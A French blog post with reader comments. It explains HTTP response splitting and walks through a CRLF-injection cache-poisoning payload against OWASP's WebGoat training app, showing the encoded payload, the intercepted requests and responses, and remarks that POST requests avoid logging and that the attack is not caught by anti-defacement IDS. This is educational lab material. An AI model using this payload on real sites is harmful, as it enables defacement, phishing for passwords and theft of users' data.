samedi 19 décembre 2009

Http splitting attack

Le Http splitting est une technique d'attaque de site Web. Elle consiste à injecter une requête Http dans un formulaire pour forcer le serveur cible à renvoyer deux réponses au lieu d'une. Elle est possible lorsque le serveur place les données entrées par l'utilisateur dans le header d'une requête de redirection ( code 3xx, champ "Set-Cookie" ou "Location"). Cet article décrit cette attaque et aborde la plateforme d'entrainement WebGoat de OWasp.



  1. description
  2. exploitation

    1. cache poisonning
    2. next generation phishing
    3. hijacking de page

  3. méthode
  4. explications
  5. remarques
  6. application avec WebGoat

description

En fonctionnement normal, à chaque échange http, le client fait une requête et le serveur une réponse.



Avec une http splitting attack, un attaquant entre des données mal formées dans un formulaire web (textField).  Le serveur lui rend alors deux réponses au lieu d'une, dont l'une a été créée par l'attaquant.





exploitation

Cette technique peut permettre:

cache poisonning

l'attaquant envoie la requête malformée et une requête valide. Le serveur renvoie deux réponses pour la première requête, et une troisième réponse pour la seconde requête. Le cache du serveur associe alors la deuxième réponse (créée par l'attaquant) à la deuxième requête (valide). Cela peut permettre un défaçage de site.



next generation phishing

Il s'agit d'un cas particulier de la technique de cache poisonning précédente. L'attaquant cible, dans sa seconde requête, une page du site demandant un mot de passe. Il place dans sa 1ère requête une copie de cette page dont le formulaire est redirigé vers un serveur qu'il contrôle. Ainsi, lorsque la victime se connecte au formulaire d'identification du site piraté, celui-ci lui propose le formulaire redirigé qu'il a en cache. Le pirate récupère le mot de passe de la victime.

hijacking de page

hijacking de page contenant des données de l'utilisateur: dans ce cas de figure, le site possède un proxy.

L'attaquant envoie la requête mal formée (1) au proxy.

Le proxy transfère au site la requête mal formée (1). Le site renvoie au proxy les réponses (1) et (2) générées par la requête mal formée.

Une victime envoie une requête (3) au proxy. Le proxy transmet cette requête (3) au site et interprète la réponse (2) précédemment reçue du site comme la réponse à la requête (3) de la victime. Le proxy renvoie donc la réponse (2) à la victime. Le site renvoie au proxy une réponse (3) à la requête (3) de la victime. Cette réponse (3) contient des données personnelles de la victime.

L'attaquant envoie une requête (4) au proxy. Le proxy transmet cette requête (4) au serveur, mais peu importe ce qu'elle devient: en effet, le proxy interprète la réponse (3) reçue précédemment du serveur comme la réponse à la requête (4) de l'attaquant. Le proxy envoie donc la réponse (3), contenant des données personnelles de la victime, à l'attaquant.




méthode

Pour une illustration de la méthode, voir la vidéo de Yehg (référence n°9) et le blog d'Ajax (référence n°6).

Dans cet exemple, nous faisons un cache poisonning. Voici le texte que nous injectons:
"Content-Length: 0

HTTP/1.1 200 OK
Last-Modified: Fri, 31 Dec 2099 23:59:59 GMT

coucou"

Lorsque nous encodons notre texte en format http, nous remplaçons:
- le ":" par %3A
- les "espaces" par %20
- les "retour de ligne" par %0A
- la "," par %2c
- le "/" par %2F
- le "<" par %3C
- le ">" par %3E

en format http, cela donne:
"Content-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0A%3Chtml%3E%0Acoucou%3C%2Fhtml%3E"

et en remplacant tous les %0A par %0A%0D:
"Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E"

Pour encoder et remplacer les %0A, nous utilisons PHP charset encoder http://h4k.in/encoding/ (voir vidéo de Yegh référence n°9).


explications

La technique fonctionne en cas de redirection des données utilisateurs par le serveur:

Rappelons nous que cette méthode est possible lorsque le serveur place les données entrées par l'utilisateur dans le header d'une requête de redirection ( code 3xx, champ "Set-Cookie" ou "Location"):

Le serveur récupère les données du formulaire, puis les place dans le header d'une requête http qu'il envoie à un autre serveur. Cela lui est utile pour rediriger une requête: (vous tapez http://trucmuche.com et le serveur renvoie votre requête vers http://dommage.net). Une requête http de redirection utilise le status code 3xx (voir référence n°3).

Généralement le serveur place ces données dans le champ "Set-Cookie" ou "Location" du header de la requête.


Pourquoi %0d%0a

CR = Carriage return ( %0d ou \r ou ASCII 13)
LF = Line Feed (%0a ou \n ou ASCII 10)

Le format http est défini ainsi:
- initial line, terminée par CRLF
- header lines, terminées par CRLF
- blank line (= CRLF)
- body.

Notre chaine de caractères devra être interprétée comme une requête http. Cela explique pourquoi nous remplaçons les LF par CRLF.


Comment un cache poisonning?

La réponse que nous renvoit le serveur contient la ligne Last-Modified, avec une date en 2099.
HTTP/1.1 200 OK
Last-Modified: Fri, 31 Dec 2099 23:59:59 GMT

coucou

Cette page sera associée à la requête suivante reçue par le serveur. Comme sa date de modification sera toujours supérieure à celle des modifications apportées par une requête standard, ce sera toujours celle-ci que le serveur renverra aux utilisateurs.



Que se passe-t-il coté serveur?

Prenons l'exemple proposé par WebGoat. Nous utilisons WebScarab pour intercepter les requêtes http:


Nous soumettons la chaîne de caractères "essai"



Notre requête, qui part vers le serveur (A) est:

POST http://localhost:80/webgoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Content-Type: application/x-www-form-urlencoded
Content-length: 31
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

language=essai&SUBMIT=Search%21


La réponse de redirection (302) que nous recevons du serveur (A) est:

HTTP/1.1 302 Déplacé Temporairement
Server: Apache-Coyote/1.1
Location: http://localhost/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=essai
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Sat, 19 Dec 2009 17:12:27 GMT

Nous voyons que:
- cette réponse est une redirection (status code 302),
- notre chaîne de caractères est placée dans le champ "Location" pour une redirection

Le serveur (A) redirige la requête vers le serveur (B):

GET http://localhost:80/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=essai HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100&Restart=3
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

La réponse que le serveur (B) affiche la page de résultat. La voici (tronquée):

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Type: text/html;charset=ISO-8859-1
X-Transfer-Encoding: chunked
Date: Sat, 19 Dec 2009 17:37:46 GMT
Content-length: 33406

<.!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<.html xmlns="http://www.w3.org/1999/xhtml">
<.head>
<.meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<.title>HTTP Splitting
<.link rel= (...) />
<.script language= (...)


<.body class="page" (...)




Maintenant, injectons notre requête malformée:






Notre requête, qui part vers le serveur (A) est:

POST http://localhost:80/webgoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Content-Type: application/x-www-form-urlencoded
Content-length: 251
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

language=Content-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250ALast-Modified%253A%2520Fri%252C%252031%2520Dec%25202099%252023%253A59%253A59%2520GMT%250D%250A%253Chtml%253E%250D%250Acoucou%253C%252Fhtml%253E&SUBMIT=Search%21


La réponse de redirection (302) que nous recevons du serveur (A) est:

HTTP/1.1 302 Déplacé Temporairement
Server: Apache-Coyote/1.1
Location: http://localhost/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Sat, 19 Dec 2009 17:26:09 GMT


Le serveur (A) "croit" rediriger la requête vers le serveur (B):

GET http://localhost:80/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100&Restart=3
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

Cette réponse est en fait encapsulée par le protocole http dans les datagrammes TCP ainsi:

* requête de redirection vide envoyée au serveur (B)
GET http://localhost:80/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=Content-Length%3A%200

* fin de la requête
%0D%0A
%0D%0A

* réponse envoyée dans la session TCP en cours (vers l'attaquant)
HTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E

* données rejetées (incompatibles avec le protocole http):
 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100&Restart=3
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=



- et voici donc le second message envoyé par le serveur (A) vers l'attaquant:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Type: text/html
X-Transfer-Encoding: chunked
Date: Sat, 19 Dec 2009 17:28:10 GMT
Content-length: 21


coucou


remarques

- On peut noter que les splitting attacks sont loguées par le site ciblé si elles sont envoyées avec la méthode GET. Ce n'est généralement pas le cas si l'attaquant utilise une requête de type POST (cf référence n°2, page 24).

- Le défaçage par splitting attack n'est pas détecté par les IDS anti défacement. En effet, ces IDS analysent en général les pages statiques, et non le cache.

- Cette attaque est rendue possible depuis l'implémentation du protocole http 1.1. Http 1.1 permet d'échanger plusieurs requêtes dans une même session TCP. Le client et le serveur créent d'abord une connexion TCP. Durant cette session, ils s'échangent plusieurs messages http. Le protocole http 1.0 nécessitait une connexion TCP pour chaque échange http.


application avec WebGoat

Il est possible de s'entrainer pour cette attaque avec WebGoat de OWasp. WebGoat est une plateforme d'entrainement aux audits Web. L'exemple proposé dans les explications du paragraphe précédent provient de l'utilisation de WebGoat.

Dans WebGoat, étudiez la leçon sur le http splitting (menu -> général)


Une solution vidéo est fournie (référence n°9)

outils

java-JRE http://www.java.com/fr/download/
OWasp WebGoat http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
PHP charset encoder http://h4k.in/encoding/



références

1) Wikipedia - Http response splitting - http://en.wikipedia.org/wiki/HTTP_response_splitting
2) Sanctum Inc, Http response Splitting whitepaper - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
3) James Marshall - Http made really easy - http://www.jmarshall.com/easy/http/#structure
4) Web application security consorsium - Http response splitting - http://www.webappsec.org/projects/threat/classes/http_response_splitting.shtml
5) Securiteam - http response splitting - http://www.securiteam.com/securityreviews/5WP0E2KFGK.html
6) Ajax - Séparation de réponse http - http://blog.4j4x.net/?p=15
7) publication du CERT-IST - les attaques de type "http response splitting" http://www.cert-ist.com/fra/ressources/Publications_ArticlesBulletins/Veilletechnologique/HTTP_spliting/
8) OWasp - Http response splitting - http://www.owasp.org/index.php/HTTP_Response_Splitting
9) yehg - vidéo décrivant une exploitation de http splitting attack - http://yehg.net/lab/pr0js/training/webgoat.php
9) MISC n°24 - http://www.unixgarden.com/index.php/administration-reseau/smuggling-et-splitting-du-html

5 commentaires:

  1. Salut, infond.

    J'aime beaucoup ton article. Cependant, j'ai du mal - eh oui, je descends de mes grands chevaux - à appliquer ton article.

    J'ai une page a.php :




    une page b.php :


    Et un script "exploit" :
    get("http://localhost/a.php?Content-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0A%3Chtml%3E%0Acoucou%3C%2Fhtml%3E");
    ?>

    Ca me renvoie ça :

    HTTP/1.1 200 OK
    Date: Tue, 04 May 2010 15:04:32 GMT
    Server: Apache/2.2.11 (Win32) PHP/5.3.0
    X-Powered-By: PHP/5.3.0
    Content-Length: 0
    Connection: close
    Content-Type: text/html

    Pas de "coucou", ni sur a.php, ni sur b.php...

    J'ai sûrement mal compris l'article. Je m'y replongerai volontiers.

    En attendant, c'est cool si tu passes analyser mon commentaire.

    Geo

    RépondreSupprimer
  2. Salut Geo,
    As tu essayé en remplaçant les %0A par %0A%0D?

    RépondreSupprimer
  3. Très bien expliqué, bravo

    RépondreSupprimer
  4. Salut merci pour les explications théoriques j'ai retourné le problème en long en large en travers je ne sais pas si quelque chose à changé entre temps entre les version 5.1 et 5.3 mais meme en faisant copier coller et en m"aidant de cette nouvelle référence pour décoder ça ne marche pas du tout...rien de rien je crois avoir compris le concept donc je vais paser a lexo suivant parce que si le programme est bugger cest pas la peine de sarracher les cheveux pour rien ...

    http://yehg.net/encoding/

    Si vous avez des suggestions je prends volontier...

    RépondreSupprimer
  5. si c'est de l'unix / OSX il n'y à pas de LF, donc que des %0d

    RépondreSupprimer